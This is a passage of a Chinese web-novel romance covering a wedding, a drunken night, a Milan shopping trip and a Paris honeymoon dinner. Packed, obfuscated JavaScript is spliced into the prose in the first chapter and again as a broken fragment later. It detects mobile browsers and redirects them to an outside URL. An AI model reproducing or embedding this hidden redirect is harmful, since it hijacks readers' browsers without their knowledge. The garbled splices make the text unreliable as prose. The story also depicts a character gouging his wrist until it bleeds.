沈余掀开眼皮，男人的指腹也随之停下，却又忽然加重力道，她不由得瞪大双眼——顾朝年低头吻上了自己覆在她唇上的拇指。 鼻尖碰着鼻尖，呼吸也相互缠绕，除了他们彼此没人知道相互亲吻的新郎新娘的嘴唇隔着一根拇指。 所有人都被他们营造的假象骗到，举起酒杯高声欢呼着，村民们将手中的花瓣都扬到半空中，在花雨中跳起舞来。 顾朝年很快松开她，装作什么都发生拉着她和大家一起喝酒，跳舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020058|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始她还有些放不开，但是周围的村民都太热情了，这份热情感染着沈余，她很快也沉浸其中。 婚礼一直持续了很久，两个人都跳了很久，甚至还喝了一点酒，回到别墅的时候已经很晚了。 管家只当做他们是新婚，煮好醒酒汤之后就将空间留给了新婚的小夫妻。 顾朝年今晚实在高兴，贪了几杯，回来的时候几乎是不省人事醉倒在沙发上了。好在沈余喝得不算多，还算清醒。 她扶着他喝了几口醒酒汤，顾朝年迷迷糊糊地睁开眼睛，“……阿余？” “是我。”沈余又喂了他一口。 “阿余。”顾朝年闭上眼睛，又叫了一声她的名字。 “我在，怎么了？” “没什么。”顾朝年摇摇头，脸上挂起一个大大的微笑，“就是想叫叫你的名字。” 和平日里沉着冷静的形象相差十万八千里，显然是醉得不轻。 一晚上都没等到好感度上升的提示音，沈余有些按耐不住，叫了他的名字，“顾朝年，你今天晚上高兴吗？” “……高、兴！” “真的吗？” “真的!” 窝在沙发上的顾朝年用力地点了两下头，一脸幸福地说，“今天是我最、最最、最最最高兴的一天！” 既然这么高兴那为什么好感度一点变化都没有？仗着他现在头脑不清楚，沈余继续问，“有没有回到我们刚在一起时的感觉？” “在一起？”顾朝年的眉毛拧在一起，仿佛没明白她在说什么。 “就是心动。”怕醉鬼不理解，她只好再解释的更清楚一点，“就是看到我有没有心跳加速的感觉？” 一边用指尖轻轻戳着他心脏的位置，一边观察着他脸上的神色。 顾朝年皱着眉没思考几秒钟就点头，“有！” 那好感度怎么一点没涨，沈余在他的心口狠狠戳了两下来泄愤，“骗子！” 却被顾朝年一把攥住，拉着她的手腕一个用力，她整个人毫无防备地趴在顾朝年的身上。 男人的大掌稳稳按在她的脑袋上，让她去听他的心跳。 扑通、扑通。 心脏仿佛要透过胸膛飞出来一般。 伴随着强有力的心跳声，男人在她耳边低语，“我每次只要一想到阿余心都跳得这样快。” “那阿余呢？阿余每次见到我心也跳得这样快吗？” 明明是相差不多的话，可从他嘴里说出来却仿佛变了一层含义。沈余脸颊地起身，“好了很晚了，该洗漱休息了。” 她去拉他的手腕，想要扶他去洗漱，忽然眼前天旋地转，等反应过来的时候人已经被顾朝年压在身下了。 他的脸颊贴着她的胸口，孩子气地嘟囔着，“我也要听。” 沈余挣脱不开，索性也没做什么出格的事，索性由他去了，可不知道为什么她的心开始不自觉地加速。 过了才一小会儿，她就已经浑身不自在了，“顾朝年，你听完了吗？压得我有些喘不上气了。” 顾朝年嗯了一声，滚到一旁的沙发上，抱住她的腰心满意足用脸颊蹭了蹭， “阿余的心，跳得和我的一样快。” 25. 第 25 章 喝了酒，时差也没倒过来，顾朝年难得地起晚了。 醒来的时候习惯性地伸手却摸了个空，犹如噩梦惊醒一般，宿醉后的眼睛还蒙着一层雾，视线扫过卧室的每一个角落，阿余不在。 心脏像是被人紧紧攥住，骤然缩紧。他匆匆起身一路从二楼跌跌撞撞地跑下来，别墅内空荡荡，窗外的风呼啸着，他的心仿佛也破了个洞。 五脏六腑绞在一起，手指无意识地又去抠左手腕，鲜血很快顺着他的手腕流下来，大滴大滴地砸在米白色的地毯上，而他仿若未觉，雾蒙蒙的眸子失神地盯着壁炉里的火苗。 所以…… 又是梦对吗。 顾朝年的肩膀骤然塌下去，身体摇摇欲坠地向后倒，在即将摔倒在地时，手腕处忽然多出来一股力量轻轻拉住他。 刚刚遛狗回来的沈余一推开门就看到了站在客厅里摇摇欲坠的顾朝年，她连忙跑过去拽住他的手腕，终究晚了一步。 不仅没拉住他反而连带着自己也摔了下去。 顾朝年睁开眼，不可置信地看着她，“……阿余？” “我本来想拉住你的，没想到还害你成为人肉靠垫了。”沈余有些不好意思，“我现在就起来。” 刚抬起一只手，又被顾朝年按回胸口。 很用力的一个拥抱，她甚至能感受到落在她脊背上的手在微微颤抖。 “……顾朝年，你怎么了？” 怕吓到她顾朝年竭力隐藏自己的情绪，“没什么，让我抱一会儿你好吗？” 他的嗓音很哑又很轻，很容易就能听出他几乎是在崩溃边缘。明明昨天还好好的，只是一晚上过去就变成了这样。 沈余不懂，却依旧没有推开他，“是不是做噩梦了？” “嗯。”顾朝年轻声说。 像曾经他安慰她那样回抱住他，温声说，“没事，那只是一场梦。我会一直在你身边陪着你的。” 这些都是在她梦魇时顾朝年对她说的话，她其实当时没什么意识，可此刻却无师自通般说了出来。 一直嘛…… 顾朝年闭上眼睛，更用力地抱紧她，“好，不许骗我。” 要一直陪在我身边。 温暖的怀抱和耳边温柔的语调一点点将顾朝年的糟糕的情绪抚平，感受到身下的人情绪有所好转，沈余紧绷的神经也逐渐放松下来。 吐出一口浊气，再吸入的时候空气中多了一丝血腥味，“顾朝年，你有没有问到血腥味？” 顾朝年手臂一僵，摇头道，“没有。” 皱着鼻子又闻了闻，沈余还是觉得不对劲，“你先松开我，我起来看一看。” 她挣开他的怀抱站起来，入目便是地毯上浓稠的血滴，有好几滴甚至已经干涸，顺着血迹的方向看过去，看到了刚刚站起身并默默将左手腕挡在身后的顾朝年。 血染红了睡衣的袖口而且还隐隐有扩大的趋势，只看了一眼顾朝年就匆匆将手腕藏在了身后，“我没事的。” “我都看到了，那么一大片血。” “只是看起来很严重，其实一点都不疼的。”怕她担心，顾朝年小声解释着。 沈余没理会他，将他按坐在沙发上转身拿来了医药箱，“手给我，我给你包扎。” “我自己来吧。”顾朝年从她手中夺过医药箱。 “可以。”沈余点头，担忧的目光落在那片被血染红的衣袖上，男人却迟迟没动，甚至还用手挡在了手腕处。 沈余抬头看他，“怎么还不包扎？” “……有很多血，我先去换一件干净的衣服。”胡乱找了一个借口脚步匆匆去了二楼。 换好衣服回来，沈余说，“现在包扎吧。” “我已经包扎好了。”顾朝年将衣袖掀起一角，只露出手腕处的纱布。 看到手腕处缠绕的纱布，沈余才彻底放心，然后才注意到自己的衣服上也被染了血。 “我们去买几件衣服吧。”顾朝年这样提议道。 三个小时后他们飞到了米兰。 面前是成排成排的衣服，导购说这些都是春夏的最新款，市面上还没有上架。导购滔滔不绝地介绍着，顾朝年听得格外认真，沈余忍不住拽了拽他的衣袖。 顾朝年偏头看她，“怎么了，没有喜欢的吗？” “不是，我的衣服还有很多，家里的衣帽间很多连吊牌都没摘。” 这句话一路上她不知道说了多少遍，顾朝年每一次都以“根本一点也不多”拒绝，此刻听她旧事重提，忍不住叹一口气，“阿余不想浪费我理解，那阿余可不可理解一下我呢？” 沈余不懂，“理解你什么？” “理解我身为你的丈夫，我希望我的妻子每天都可以穿得漂漂亮亮的，这是我的私心，不知道阿余可不可以满足我这一个小小的愿望？” ……丈夫妻子。 沈余还在这个称呼中没有缓过来，一旁的导购已经开始一脸星星眼地帮忙求情，“夫人就满足您先生的心意吧。” 沈余被叫得脸热，不好意思拒绝。 顾朝年看出她的犹豫，趁热打铁，“阿余去选几件自己喜欢的吧，不然我只好全部都买下了。” 看卷毛的衣帽间就知道顾朝年是真的能做出这种事，又加上有导购在一旁添油加醋，沈余知道她今天不买几件是出不去这个店的。 模特穿着各式的衣服站成几排，一排一排地展示。看了好几排，留下的基本上都是沈鱼会穿的性感妩媚的款式。 在她几乎要看到厌倦的时候，一条米白色的针织连衣裙让她眼前一亮，完完全全长在她审美上的一件衣服，但可惜沈鱼不会穿这样的衣服。 她不舍地收回目光，摆手说，“过。” 模特走出几步被顾朝年叫停，“这件衣服留下。” ——正是她喜欢的那一件。 “你怎么会留下这件？”沈余指着她刚刚留下的那些衣服，“那才是我的风格。” “谁说的？”顾朝年看着她问。 沈余心虚地移开视线，“孟梦。” 她根本没和孟梦聊过这件事，但也不能说沈鱼，只好拿她当挡箭牌了。 “以前是什么风格有什么关系，我只注意到你视线停留在她身上的时间要比其他的衣服加起来还要多。” 说完， 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他竟然听懂了！沈余惊讶地看了他一眼，“你连颜色都能区分出来了吗？？” “不能。”顾朝年诚实地摇头，“我刚刚只是在想还是买一套比较方便。” 沈余被他逗笑，一时间不知道说什么好，还是导购小姐姐人美心善夸他对老婆好。 在这方面顾朝年是真的一窍不通，自知自己也帮助不了什么，因此在她们讨论的时候也没有讲话，只是安安静静地待在旁边。 在导购的推荐下选了一些，两个人终于结束了今天的购物之旅。 回到小镇的别墅，沈余瘫软在沙发上，卷毛一下子跳进她的怀里，她抱着卷毛吸了好几口才恢复一点精力。 顾朝年却好像完全没什么影响，回来后还亲手做了一顿丰富的大餐。 吃饱喝足后，沈余洗漱好坐在镜子前看着自己的脸，这几天一直化妆，不知道是过敏还是什么别的原因，嘴唇有些起皮，甚至还裂开了一道小口子。 拿起水杯喝了一大口润了润唇，心想：早知道今天应该买一只润唇膏的。 擦好水乳和精华，沈余躺上床，顾朝年才从楼下上来。 沈余正在和沈鱼交流今天的任务情况，忽然一个浅粉色的礼物袋被塞进了她的手中。 她收回思绪，对上顾朝年含笑的眼睛，“打开看看。” ——是一个桃子味的润唇膏。 “顾朝年，你是圣诞老人吗？”要不然怎么她刚刚许愿，下一秒礼物就出现在她的面前。 “婚礼那天发现你的嘴唇好像裂开了一个小口子，所以就想着给你买一个润唇膏。”顾朝年笑着解释，然后说，“不过如果你更喜欢圣诞老人的话也可以。” 将盒子拆开，温柔又细致地为她涂好润唇膏，粉嫩的唇瓣散发着蜜桃的芬芳，顾朝年忽然有些觉得口渴。 沈余抬头正对上男人黏腻的视线，她尴尬地咳了一声，男人才克制地将视线从她的唇上移开，落到她的眼睛上， 沉声说，“只做你一个人的圣诞老人。” 26. 第 26 章 转眼间来普罗旺斯已经五天了，这五天不仅体验了他们的婚礼就连小镇也被他们逛了个遍，可偏偏顾朝年的好感度没有任何变化。 沈余百思不得其解。 而对于她依旧没有恢复记忆这件事，顾朝年却好像并不意外。甚至还贴心的准备好了接下来的行程。 她看着手中的蜜月行程，想了又想还是没忍住问出口，“……你早就预料到我不会恢复记忆吗？” 顾朝年的手一顿，又很快将手中的衣服叠好放到行李箱，“也不算吧，我只是觉得不可能只重现一个场景就恢复记忆。” 确实，要是只重现一个场景就恢复记忆那才是更像是假的，看来是她多心了。 沈余点点头，顺手将一旁的衣服叠好递给顾朝年，顾朝年接过来放进行李箱，一个负责叠一个负责放，两个人如同接力棒一样，很快就整理好了行李。 蜜月的第一站是法国巴黎。 12月的巴黎不算温暖，塞纳河畔浮着碎冰，埃尔法铁塔也披着清冽的银霜，傍晚时分，玫瑰金一般的夕阳洒落塔身，那层外衣也随之飘落，如同一个带着面纱的美丽姑娘，只愿意为即将到来的夜晚展现她的美丽。 夕阳渐渐逝去，美丽的姑娘终于彻底掀开了面纱，晚上八点整，两万颗金珠同时闪烁，天空月朗星繁，塞纳河畔碎金浮光，仿佛置身于一片星海中，直到灯光渐渐暗淡下去，顾朝年才牵起沈余的手，朝餐厅走去。 餐厅里的温度要比外面暖很多，里面的人都身着正装，落座后点好餐，在等餐的空隙顾朝年脱掉身上的外套，露出了里面黑色的西装。 沈余则穿了一条纯白色的长裙，画着淡妆，一头长发温婉地披在身后。 正是他们上次去米兰购买的衣服之一，顾朝年也是第一次见她穿，不由得一怔。 注意到男人落在自己身上的目光，沈余有些不自然地拽了拽裙摆，“怎么了？” 果然他还是更喜欢沈鱼的穿衣风格吧。 就在她考虑要不然下一次还是换回去的时候，男人才开口，真心称赞，“很漂亮。” “啊？” 大概以为她没听清，顾朝年又重复一遍，“这条裙子很适合你。” 拽着裙摆的手轻轻松开，沈余悬起来的心也终于放下。 不知道想到什么，顾朝年又补充，“我不是说你之前不漂亮，只是这种更……”感觉怎么说都有歧义，顾朝年抿了抿唇一时间有些不知道要如何说下去了。 “……漂亮？”沈余默默将他未说完的话补充完整，试图去理解他的意思，“所以你更喜欢我穿成现在这样是吗？” 如果他喜欢，她不介意每天都这样穿。 即便有一点麻烦。 但是为了好感度，沈余觉得自己可以克服。就在她已经做好了准备的时候，顾朝年的话却有些出乎她的意料。 “你穿什么我都喜欢。” 说这话的时候顾朝年的眉皱在一起，只是眼神却认真到极致，“我只是希望你能够穿自己喜欢的衣服。” ……穿自己喜欢的衣服。沈余微愣，从前叶茹总说穿衣要大方、优雅、得体，她第一次说的时候她也才初中，甚至还不能理解这些词语的含义，叶茹也不在乎她理解不理解，她用最快的时间为她挑选了一位服装搭配老师。 在老师的指导下她终于符合了叶茹的期许。 又或者说是满足了叶茹对顾朝年未婚妻的期许。 不幸中的万幸是，长大的后她其实也喜欢这样的穿衣风格，但这样拔苗助长的方式对初中的她而言还是太过残忍。 这还是第一次有人对她说希望她可以穿自己喜欢的衣服。 而这个人竟然是顾朝年。 原来他并不需要她的妻子穿衣风格大方、优雅、得体，而只是希望她可以穿自己喜欢的衣服。 沈余说不清她现在是什么感受，只是觉得刚刚平稳落地的心仿佛又升了起来，如同餐桌蜡烛上的火焰，忽上忽下地跳动着。 她忍不住去想：好像做顾朝年的妻子也没有那么糟糕。 这个想法让沈余觉得心惊，一冒出来就立刻被她压制下去，甚至也不再敢和顾朝年对视，她将颊边的长发捋到耳后，有些尴尬地移开视线，正好看到一个法国女人从餐厅的座位上站起来。 她穿着酒红色的丝绒裙，牵起裙摆微微欠身，起身的瞬间餐厅的一角响起钢琴声，高跟鞋精准地踩着钢琴的节拍，红裙摆开的弧度在空气中划出优美的弧线。 餐厅里所有人的目光都聚集在她的身上，沈余也不例外，她的目光随着她裙摆的旋转出的弧度起起落落，直到钢琴的最后一个节拍落下，女人翩飞的裙摆停了下来。 让沈余惊讶的是，她停在了她的面前，邀请她一起。 她连连摆手，用英语拒绝她，“抱歉，我已经很多年没跳过舞了。” 女人仿佛没听懂她的拒绝，眼睛一下子就亮了，用英语惊叹，“太好了！，我果然没看错人，你果然会跳舞！” “可是，我……” 沈余正要再找借口拒绝，一根纤细的指尖堵在她的唇瓣上，她抬眸对上女人冰蓝色的眸子，“亲爱的，你的眼睛比嘴巴诚实。” 被女人突然的动作弄得有些不知所措，她下意识地去看向顾朝年。他唇边挂着浅笑，并没有如她所想的那样会直接拒绝那个女人，而是看着她说，“你喜欢跳舞，也渴望跳舞。” 准备好的借口忽然就说不出口了，她的确很想，很想跳舞。 顾朝年牵起她的手放到女人的掌心，“去吧，玩得开心些。” 话音落下的瞬间，女人已经带着她旋进了餐厅的舞池，一开始沈余还有些生疏。直到熟悉的旋律响起，是《致爱丽丝》。 这首曲子她曾听过无数遍，舞更是跳了无数次，即便多年不曾跳舞，可练舞多年的身体还有着曾经的记忆，音乐一响，无需思考，身体便不由自主地动了起来。 餐厅的水晶灯下，红与白相互碰撞，裙摆飞起的瞬间如同两只蝴蝶自由地起舞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈余被突如其来的好感度砸蒙了，愣在原地，雪花很快就在她的头上堆积了薄薄的一层，看起来像是白了头发。 顾朝年快步跑过来，将她头上的白雪拂去，搓着她被冻红的手，可他只有一双手，暖了手就不能暖耳朵，最后他干脆将大衣敞开，将沈余整个人都罩在自己的怀里。 隔了一层西服，他身上的热气传的很慢，沈余抱紧了他的腰才勉强感觉到热气。 但心跳不是。 他的心跳声震耳欲聋。 “你今晚也很高兴。”沈余将他又抱紧了一点，勉强感受着他的体温，“为什么？” 为什么这么高兴？又为什么突然涨好感度？ 沈余有太多的问题想问，可最终只能变成这没头没脑的三个字。 雪渐渐大了，地面被覆盖了一层薄薄的白雪，清冷的月光洒下来，满地银辉。感受到怀里的人更用力地拥抱自己，顾朝年也同样收紧了力道，在满天飞雪中紧紧相拥，他不仅不觉得冷反而浑身的血液都在跟着发烫。 克制地将视线从怀里的人的身上移开，他抬头看向天边皎洁的月亮，“大概是因为……今晚的月色很美。” 沈余从顾朝年的怀里微微抬头看了一眼天边的月亮，忍不住感赞叹，“哇！，真的很美！”